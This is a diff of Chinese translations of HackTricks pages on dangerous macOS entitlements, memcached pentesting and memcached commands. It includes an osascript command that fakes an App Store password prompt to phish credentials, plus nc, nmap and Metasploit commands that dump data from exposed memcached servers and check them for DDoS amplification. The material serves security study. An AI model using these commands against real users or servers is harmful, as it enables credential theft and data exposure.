允许应用程序向其他常用于**自动化任务**的应用程序发送事件。控制其他应用程序,可以滥用授予这些其他应用程序的权限。 允许应用程序向其他常用于**自动化任务**的应用程序发送事件。通过控制其他应用程序,可以滥用授予这些其他应用程序的权限。
比如让它们要求用户输入密码: 例如,让它们要求用户输入密码:
{% code overflow="wrap" %}
```bash ```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"' osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
``` ```
{% endcode %} {% endcode %}
或让它们执行**任意操作**。 让它们执行**任意操作**。
### **`kTCCServiceEndpointSecurityClient`** ### **`kTCCServiceEndpointSecurityClient`**
允许,除其他权限外,**写入用户的 TCC 数据库**。 允许在其他权限中**写入用户的 TCC 数据库**。
### **`kTCCServiceSystemPolicySysAdminFiles`** ### **`kTCCServiceSystemPolicySysAdminFiles`**
允许**更改**用户的 **`NFSHomeDirectory`** 属性,从而更改其主文件夹路径,因此可以**绕过 TCC**。 允许**更改**用户的**`NFSHomeDirectory`**属性,从而更改其主文件夹路径,因此允许**绕过 TCC**。
### **`kTCCServiceSystemPolicyAppBundles`** ### **`kTCCServiceSystemPolicyAppBundles`**
允许修改应用程序包内的文件(在 app.app 内),这在默认情况下是**不允许** 允许修改应用程序包内的文件(在 app.app 内),这在默认情况下是**不允许**。
<figure><img src="../../../.gitbook/assets/image (31).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (31).png" alt=""><figcaption></figcaption></figure>
可以在 _系统偏好设置_ > _隐私与安全_ > _应用程序管理_ 中检查谁拥有此访问权限。 可以在 _系统设置_ > _隐私与安全_ > _应用管理_ 中检查谁拥有此访问权限。
### `kTCCServiceAccessibility` ### `kTCCServiceAccessibility`
该进程将能够**滥用 macOS 辅助功能**,这意味着例如他将能够按下按键。因此,他可以请求访问控制像 Finder 这样的应用程序,并使用此权限批准对话框。 该进程将能够**滥用 macOS 辅助功能**,这意味着例如它将能够按下按键。因此,它可以请求控制像 Finder 这样的应用程序并批准此权限的对话框。
## 中等 ## 中等
### `com.apple.security.cs.allow-jit` ### `com.apple.security.cs.allow-jit`
权允许**创建可写和可执行的内存**通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数。查看[**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。 此权允许通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数来**创建可写和可执行的内存**。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
### `com.apple.security.cs.allow-unsigned-executable-memory` ### `com.apple.security.cs.allow-unsigned-executable-memory`
授权允许**覆盖或修补 C 代码**,使用长期不推荐使用的 **`NSCreateObjectFileImageFromMemory`**(基本上是不安全的),或使用 **DVDPlayback** 框架。查看[**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)。 权限允许**覆盖或修补 C 代码**,使用长期弃用的 **`NSCreateObjectFileImageFromMemory`**(这在根本上是不安全的),或使用 **DVDPlayback** 框架。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)。
{% hint style="danger" %} {% hint style="danger" %}
含此授权会使您的应用程序暴露于内存不安全代码语言中的常见漏洞。仔细考虑您的应用程序是否需要此例外。 括此权限会使您的应用程序暴露于内存不安全代码语言中的常见漏洞。仔细考虑您的应用程序是否需要此例外。
{% endhint %} {% endhint %}
### `com.apple.security.cs.disable-executable-page-protection` ### `com.apple.security.cs.disable-executable-page-protection`
授权允许**修改其磁盘上自己的可执行文件的部分**以强制退出。查看[**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。 权限允许**修改其自身可执行文件**在磁盘上的部分以强制退出。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
{% hint style="danger" %} {% hint style="danger" %}
禁用可执行页面保护授权是一项极端授权,它会从您的应用程序中删除一项基本安全保护,使攻击者有可能在不被察觉的情况下重写您的应用程序的可执行代码。如果可能的话,请优先选择更窄的授权 禁用可执行内存保护权限是一种极端权限,它从您的应用程序中移除了基本的安全保护,使攻击者能够在不被检测的情况下重写您应用程序的可执行代码。如果可能,优先选择更窄的权限
{% endhint %} {% endhint %}
### `com.apple.security.cs.allow-relative-library-loads` ### `com.apple.security.cs.allow-relative-library-loads`
@ -162,11 +165,11 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### `com.apple.private.nullfs_allow` ### `com.apple.private.nullfs_allow`
权允许挂载一个 nullfs 文件系统(默认情况下被禁止)。工具:[**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master)。 此权允许挂载 nullfs 文件系统(默认情况下被禁止)。工具:[**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master)。
### `kTCCServiceAll` ### `kTCCServiceAll`
根据这篇博文,这个 TCC 权限通常以以下形式找到 根据这篇博客文章,这个 TCC 权限通常以以下形式出现
``` ```
[Key] com.apple.private.tcc.allow-prompting [Key] com.apple.private.tcc.allow-prompting
[Value] [Value]
@ -176,17 +179,18 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
允许进程**请求所有TCC权限**。 允许进程**请求所有TCC权限**。
### **`kTCCServicePostEvent`** ### **`kTCCServicePostEvent`**
{% hint style="success" %}
学习与实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持HackTricks</summary>
其他支持HackTricks的方式 * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
</details>

View file

@ -1,43 +1,44 @@
# 11211 - 渗透测试 Memcache # 11211 - Pentesting Memcache
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 协议信息 ## 协议信息
来自 [维基百科](https://en.wikipedia.org/wiki/Memcached) 来自 [维基百科](https://en.wikipedia.org/wiki/Memcached):
> **Memcached**发音mem-cashedmem-cash-dee是一个通用的分布式[内存缓存](https://en.wikipedia.org/wiki/Memory\_caching)系统。它通常用于通过在 RAM 中缓存数据和对象来加速动态数据库驱动的网站,以减少必须读取外部数据源(如数据库或 API的次数。 > **Memcached**发音mem-cashed, mem-cash-dee是一个通用的分布式 [内存缓存](https://en.wikipedia.org/wiki/Memory\_caching) 系统。它通常用于通过在 RAM 中缓存数据和对象来加速动态数据库驱动的网站,以减少读取外部数据源(如数据库或 API的次数。
尽管 Memcached 支持 SASL但大多数实例都是**无需身份验证的暴露状态** 尽管 Memcached 支持 SASL但大多数实例**未经过身份验证**
**默认端口:** 11211 **默认端口:** 11211
``` ```
PORT STATE SERVICE PORT STATE SERVICE
11211/tcp open unknown 11211/tcp open unknown
``` ```
## 枚举 ## Enumeration
### 手动 ### Manual
要提取存储在 memcache 实例中的所有信息,您需要: 要提取 memcache 实例中保存的所有信息,您需要:
1. 找到具有**活动项目**的**slabs** 1. 找到 **slabs** 中的 **活动项**
2. 获取之前检测到的 slabs 的**键名** 2. 获取之前检测到的 slabs 的 **键名**
3. 通过**获取键名**来**提取保存的数据** 3. 通过 **获取键名** 提取 **保存的数据**
请记住,这项服务只是一个**缓存**,因此**数据可能会出现和消失**。 请记住,这项服务只是一个 **缓存**,因此 **数据可能会出现和消失**
```bash ```bash
echo "version" | nc -vn -w 1 <IP> 11211 #Get version echo "version" | nc -vn -w 1 <IP> 11211 #Get version
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
@ -57,7 +58,7 @@ memcstat --servers=127.0.0.1 #Get stats
memcdump --servers=127.0.0.1 #Get all items memcdump --servers=127.0.0.1 #Get all items
memccat --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s) memccat --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)
``` ```
### 自动 ### 自动
```bash ```bash
nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather info nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather info
msf > use auxiliary/gather/memcached_extractor #Extracts saved data msf > use auxiliary/gather/memcached_extractor #Extracts saved data
@ -65,105 +66,107 @@ msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplifica
``` ```
## **Dumping Memcache Keys** ## **Dumping Memcache Keys**
在memcache领域这是一种通过slabs组织数据的协议存在特定命令用于检查存储的数据尽管有明显的限制: 在memcache领域一个通过slab帮助组织数据的协议存在特定的命令用于检查存储的数据尽管有显著的限制:
1. 只能按slab类别转储密钥,将相似内容大小的密钥分组在一起 1. 只能按slab类转储键,将相似内容大小的键分组
2. 每个slab类别只能转储一页数据相当于1MB的数据。 2. 每个slab类的限制为一页相当于1MB的数据。
3. 这个功能是非官方的,可能随时停止使用,如[社区论坛](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM)中讨论的。 3. 此功能是非官方的,可能随时被取消,如在[社区论坛](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM)中讨论的那样
仅能从潜在的几GB数据中转储1MB的限制尤为重要。然而根据具体需求这种功能仍然可以提供有关密钥使用模式的见解。对于那些对机制不太感兴趣的人访问[工具部分](https://lzone.de/cheat-sheet/memcached#tools)可以找到用于全面转储的实用程序。或者下面概述了使用telnet直接与memcached设置进行交互的过程。 只能从潜在的千兆字节数据中转储1MB的限制尤其显著。然而这一功能仍然可以根据特定需求提供对键使用模式的洞察。对于那些对机制不太感兴趣的人可以访问[工具部分](https://lzone.de/cheat-sheet/memcached#tools)查看全面转储的实用工具。或者下面概述了使用telnet与memcached设置进行直接交互的过程。
### **工作原理** ### **How it Works**
Memcache的内存组织至关重要。使用"-vv"选项启动memcache会显示其生成的slab类别,如下所示: Memcache的内存组织至关重要。使用"-vv"选项启动memcache可以显示它生成的slab类,如下所示:
```bash ```bash
$ memcached -vv $ memcached -vv
slab class 1: chunk size 96 perslab 10922 slab class 1: chunk size 96 perslab 10922
[...] [...]
``` ```
要显示所有当前存在的slabs使用以下命令 要显示所有当前存在的 slabs可以使用以下命令:
```bash ```bash
stats slabs stats slabs
``` ```
向memcached 1.4.13添加一个键可说明slab类是如何填充和管理的。例如: 添加单个键到 memcached 1.4.13 演示了如何填充和管理 slab 类。例如:
```bash ```bash
set mykey 0 60 1 set mykey 0 60 1
1 1
STORED STORED
``` ```
执行"stats slabs"命令后添加密钥会产生关于slab利用率的详细统计信息: 执行“stats slabs”命令后添加键会产生关于 slab 利用率的详细统计信息:
```bash ```bash
stats slabs stats slabs
[...] [...]
``` ```
这个输出显示了活跃的slab类型、已使用的块以及操作统计数据为读取和写入操作的效率提供了见解。 此输出显示了活动的 slab 类型、使用的块和操作统计信息,提供了有关读写操作效率的见解。
另一个有用的命令是"stats items",它提供了有关驱逐、内存限制和条目生命周期的数据: 另一个有用的命令 "stats items" 提供了关于驱逐、内存限制和项目生命周期的数据:
```bash ```bash
stats items stats items
[...] [...]
``` ```
### **转储密钥** 这些统计数据允许对应用程序缓存行为进行有根据的假设,包括不同内容大小的缓存效率、内存分配和缓存大对象的能力。
对于1.4.31版本之前的版本可以通过以下方式按slab类转储密钥 ### **转储键**
对于1.4.31之前的版本,键是通过 slab 类转储的,使用:
```bash ```bash
stats cachedump <slab class> <number of items to dump> stats cachedump <slab class> <number of items to dump>
``` ```
例如,要在类别1 中转储一个键: 例如,要转储类 #1 中的一个键:
```bash ```bash
stats cachedump 1 1000 stats cachedump 1 1000
ITEM mykey [1 b; 1350677968 s] ITEM mykey [1 b; 1350677968 s]
END END
``` ```
### **转储 Memcache 键(版本 1.4.31+** 此方法遍历 slab 类,提取并可选地转储键值。
从 slab 类中提取并可选地转储键值的方法。 ### **转储 MEMCACHE 键 (VER 1.4.31+)**
使用 memcache 版本 1.4.31 及以上,引入了一种新的更安全的方法,用于在生产环境中转储键,利用非阻塞模式,详细信息请参阅[发布说明](https://github.com/memcached/memcached/wiki/ReleaseNotes1431)。该方法生成大量输出,因此建议使用 'nc' 命令以提高效率。示例包括: 在 memcache 版本 1.4.31 及以上,引入了一种新的、更安全的方法来在生产环境中转储键,利用非阻塞模式,如 [发布说明](https://github.com/memcached/memcached/wiki/ReleaseNotes1431) 中详细说明。这种方法生成大量输出,因此建议使用 'nc' 命令以提高效率。示例包括:
```bash ```bash
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1 echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28 echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
``` ```
### **转储工具** ### **DUMPING TOOLS**
表格[来自这里](https://lzone.de/blog). Table [from here](https://lzone.de/blog).
| 编程语言 | 工具 | 功能 | | | | Programming Languages | Tools | Functionality | | |
| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ------- | | --------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ------- |
| PHP | [简单脚本](http://snipt.org/xtP) | 打印键名。 | | | | PHP | [simple script](http://snipt.org/xtP) | 打印键名。 | | |
| Perl | [简单脚本](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | 打印键和值 | | | | Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | 打印键和值 | | |
| Ruby | [简单脚本](https://gist.github.com/1365005) | 打印键名。 | | | | Ruby | [simple script](https://gist.github.com/1365005) | 打印键名。 | | |
| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPAN模块中的工具 | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) | | Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPAN模块中的工具 | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) |
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Memcache监控GUI还允许转储键 | | | | PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Memcache监控GUI也允许转储键 | | |
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **会冻结您的memcached进程** 在生产环境中使用时要小心。尽管如此,您可以绕过1MB限制真正转储**所有**键。 | | | | libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **会冻结你的memcached进程!!!** 使用时请小心。如果仍然使用它,你可以绕过1MB限制真正转储**所有**键。 | | |
## 故障排除 <a href="#troubleshooting" id="troubleshooting"></a> ## Troubleshooting <a href="#troubleshooting" id="troubleshooting"></a>
### 1MB 数据限制 <a href="#1mb-data-limit" id="1mb-data-limit"></a> ### 1MB Data Limit <a href="#1mb-data-limit" id="1mb-data-limit"></a>
请注意在memcached 1.4之前,由于默认最大slab大小您无法存储大于1MB的对象。 请注意在memcached 1.4之前您无法存储大于1MB的对象,因为默认的最大块大小
### 永远不要设置超过30天的超时 <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a> ### Never Set a Timeout > 30 Days! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
如果您尝试使用大于允许的最大超时设置“set”或“add”键则可能不会得到您期望的结果因为memcached会将该值视为Unix时间戳。此外如果时间戳在过去则根本不会执行任何操作。您的命令将悄无声息地失败。 如果您尝试“设置”或“添加”一个超时大于允许的最大值的键您可能不会得到预期的结果因为memcached会将该值视为Unix时间戳。如果时间戳在过去它将完全不执行任何操作。您的命令将静默失败。
因此,如果要使用最大生存时间请指定2592000。示例 因此,如果您想使用最大生命周期请指定2592000。示例
``` ```
set my_key 0 2592000 1 set my_key 0 2592000 1
1 1
``` ```
### 溢出时键值消失 <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a> ### 消失的键在溢出时 <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a>
尽管文档中提到64位溢出值会导致使用“incr”时值消失但需要使用“add”/“set”重新创建该值 尽管文档提到使用“incr”导致64位溢出值的情况会使值消失但需要使用“add”/“set”重新创建。
### 复制 <a href="#replication" id="replication"></a> ### 复制 <a href="#replication" id="replication"></a>
memcached本身不支持复制。如果确实需要,您需要使用第三方解决方案: memcached本身不支持复制。如果你真的需要它,你需要使用第三方解决方案:
* [repcached](http://repcached.lab.klab.org/): 多主异步复制memcached 1.2补丁集) * [repcached](http://repcached.lab.klab.org/): 多主异步复制memcached 1.2补丁集)
* [Couchbase memcached接口](http://www.couchbase.com/memcached): 使用CouchBase作为memcached的替代 * [Couchbase memcached接口](http://www.couchbase.com/memcached): 使用CouchBase作为memcached的替代
* [yrmcds](https://cybozu.github.io/yrmcds/): 兼容memcached的主从键值存储 * [yrmcds](https://cybozu.github.io/yrmcds/): 与memcached兼容的主从键值存储
* [twemproxy](https://github.com/twitter/twemproxy)又名nutcracker带有memcached支持的代理 * [twemproxy](https://github.com/twitter/twemproxy)又名nutcracker支持memcached的代理
### 命令速查表 ### 命令速查表
@ -176,20 +179,21 @@ memcached本身不支持复制。如果确实需要您需要使用第三方
* `port:11211 "STAT pid"` * `port:11211 "STAT pid"`
* `"STAT pid"` * `"STAT pid"`
## 参考资料 ## 参考文献
* [https://lzone.de/cheat-sheet/memcached](https://lzone.de/cheat-sheet/memcached) * [https://lzone.de/cheat-sheet/memcached](https://lzone.de/cheat-sheet/memcached)
{% hint style="success" %}
学习与实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持HackTricks</summary>
支持HackTricks的其他方式 * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
</details> </details>
{% endhint %}

View file

@ -1,65 +1,67 @@
# Memcache 命令 # Memcache Commands
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
## 命令速查表
**来源** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached) ## Commands Cheat-Sheet
支持的命令(官方和一些非官方)在 [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) 文档中有记录。 **来自** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
遗憾的是语法描述并不是很清晰,一个简单的帮助命令列出现有命令会更好。以下是您可以在 [源代码](https://github.com/memcached/memcached) 中找到的命令概述(截至 2016 年 8 月 19 日): 支持的命令(官方和一些非官方的)在 [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) 文档中有记录。
| 命令 | 描述 | 示例 | 遗憾的是,语法描述并不清晰,简单的帮助命令列出现有命令会更好。以下是您可以在 [source](https://github.com/memcached/memcached) 中找到的命令概述(截至 2016 年 8 月 19 日):
| Command | Description | Example |
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | 读取值 | `get mykey` | | get | 读取一个值 | `get mykey` |
| set | 无条件设置键 | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>在使用 Unix CLI 工具时,请确保使用 \r\n 作为换行符。例如&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> | | set | 无条件设置一个键 | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>确保在使用 Unix CLI 工具时使用 \r\n 作为换行符。例如&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | 添加新键 | `add newkey 0 60 5` | | add | 添加一个新键 | `add newkey 0 60 5` |
| replace | 覆盖现有键 | `replace key 0 60 5` | | replace | 覆盖现有键 | `replace key 0 60 5` |
| append | 将数据加到现有键 | `append key 0 60 15` | | append | 将数据加到现有键 | `append key 0 60 15` |
| prepend | 将数据前置到现有键 | `prepend key 0 60 15` | | prepend | 将数据前置到现有键 | `prepend key 0 60 15` |
| incr | 将给定数字加到数值键上 | `incr mykey 2` | | incr | 将数值键的值增加指定的数字 | `incr mykey 2` |
| decr | 将给定数字减去数值键 | `decr mykey 5` | | decr | 将数值键的值减少指定的数字 | `decr mykey 5` |
| delete | 删除现有键 | `delete mykey` | | delete | 删除现有键 | `delete mykey` |
| flush\_all | 立即使所有项目效 | `flush_all` | | flush\_all | 立即使所有项目效 | `flush_all` |
| flush\_all | n 秒后使所有项目无效 | `flush_all 900` | | flush\_all | 在 n 秒内使所有项目失效 | `flush_all 900` |
| stats | 打印一般统计信息 | `stats` | | stats | 打印一般统计信息 | `stats` |
| | 打印内存统计信息 | `stats slabs` | | | 打印内存统计信息 | `stats slabs` |
| | 打印更高级别的分配统计信息 | `stats malloc` | | | 打印更高层次的分配统计信息 | `stats malloc` |
| | 打印项目信息 | `stats items` | | | 打印项目信息 | `stats items` |
| | | `stats detail` | | | | `stats detail` |
| | | `stats sizes` | | | | `stats sizes` |
| | 重置统计计数器 | `stats reset` | | | 重置统计计数器 | `stats reset` |
